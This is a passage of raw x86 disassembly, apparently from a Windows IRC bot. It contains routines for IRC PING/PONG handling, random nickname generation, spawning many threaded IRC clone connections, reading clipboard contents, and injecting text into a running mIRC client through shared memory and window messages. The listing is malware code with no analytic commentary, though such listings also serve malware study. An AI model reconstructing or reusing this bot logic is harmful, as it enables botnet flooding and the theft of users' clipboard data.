					; sub_4177D0+43j
		push	[ebp+Str2]	; Str2
		push	offset aPing	; "PING"
		call	_strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi		; Str2
		jnz	short loc_417838
		push	offset aPongS_0	; "PONG	%s\n"
		jmp	short loc_417886
; ---------------------------------------------------------------------------


loc_417838:				; CODE XREF: sub_4177D0+5Fj
		push	offset a433	; "433"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417859
		push	esi		; Str2
		push	offset a432	; "432"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B4


loc_417859:				; CODE XREF: sub_4177D0+76j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417ADE
		add	esp, 10h
		lea	eax, [ebp+Dst]
		push	eax
		push	offset aNickS_1	; "NICK	%s\n"


loc_417886:				; CODE XREF: sub_4177D0+66j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CB6A4	; send


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

Dest		= byte ptr -4008h
var_3008	= byte ptr -3008h
Dst		= byte ptr -2008h
Str		= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	__alloca_probe
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+Dst]
		push	edi		; Size
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	sub_417ADE
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax		; Dest
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4	; send
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi		; Size
		lea	eax, [ebp+Str]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Str]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+Str]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+Dst], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi] ; int
		mov	[ebp+eax+Dst], bl
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC	; closesocket


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417A60(char *Source,int,int)

sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+Source]	; Source
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax		; Dest
		call	_strcpy
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417ADE(char *Dest)

sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

Source		= byte ptr -40h
var_2D		= byte ptr -2Dh
Dst		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
Count		= dword	ptr -0Ch
var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		call	_rand
		mov	[ebp+Count], eax
		fild	[ebp+Count]
		fmul	ds:dbl_4276F0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_417B28
		call	_rand
		call	_rand
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	_rand
		call	_rand
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4] ; Source


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strcpy
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax		; Str
		call	_strlen
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+Count], eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276E8
		call	__ftol
		mov	ebx, eax
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4276E0
		call	__ftol
		cmp	esi, 2
		mov	edi, offset a__1 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D8
		call	__ftol
		push	off_4385E8[eax*4] ; Source
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	_strcpy
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+Source]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	ds:dbl_4276E0
		call	__ftol
		mov	al, byte ptr a__1[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+Count]	; Count
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_strncat
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+Dst]
		push	eax		; Str
		call	_strlen
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+Dst]
		push	eax		; C
		mov	[ebp+var_4], esi
		call	_isdigit
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+Count], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax		; Val
		push	edi		; Str
		call	_strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E0
		call	__ftol
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4276E0
		call	__ftol
		mov	al, byte ptr a__1[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D0
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+Count], ebx
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C8
		call	__ftol
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi		; Str
		call	_strlen
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4276E0
		call	__ftol
		mov	al, byte ptr a__1[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+Dst], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D0
		call	__ftol
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+Dst], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+Count], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	_rand
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	__ftol
		test	eax, eax
		jnz	short loc_417E2F
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C0
		call	__ftol
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D0
		call	__ftol
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+Count], 2
		jge	short loc_417ED6
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4276E0
		call	__ftol
		cmp	eax, 1
		jnz	short loc_417ED6
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C0
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+Dst], cl
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276B8
		call	__ftol
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+Count], eax
		jge	short loc_417ED6
		call	_rand
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276B0
		call	__ftol
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+Dst]
		push	14h		; Count
		push	eax		; Source
		push	[ebp+Dest]	; Dest
		call	_strncpy
		mov	eax, [ebp+Dest]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417EEF(char *Src,char	*SubStr,char *Source)

sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

Src		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Source		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Src]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+Source], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi		; Src
		call	__strdup
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Source]	; Str
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Source]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417F80(char *Str,int)

sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; sub_4101FD+F4p

Dst		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+Dst], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+Dst]
		push	7D0h		; Size
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_418087(char *Str,int)

sub_418087	proc near		; CODE XREF: sub_41528E+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+Str]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax		; C
		mov	[ebp+var_8], edx
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+Str]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_427158	; FormatMessageA
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset byte_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624	; OpenClipboard
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		call	ds:dword_427160	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_42715C	; GlobalUnlock
		call	dword_4CB6A8	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_418212(char *Format)

sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

Format		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_42716C	; CreateFileMappingA
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_427168	; MapViewOfFile
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0	; SendMessageA
		push	ebx
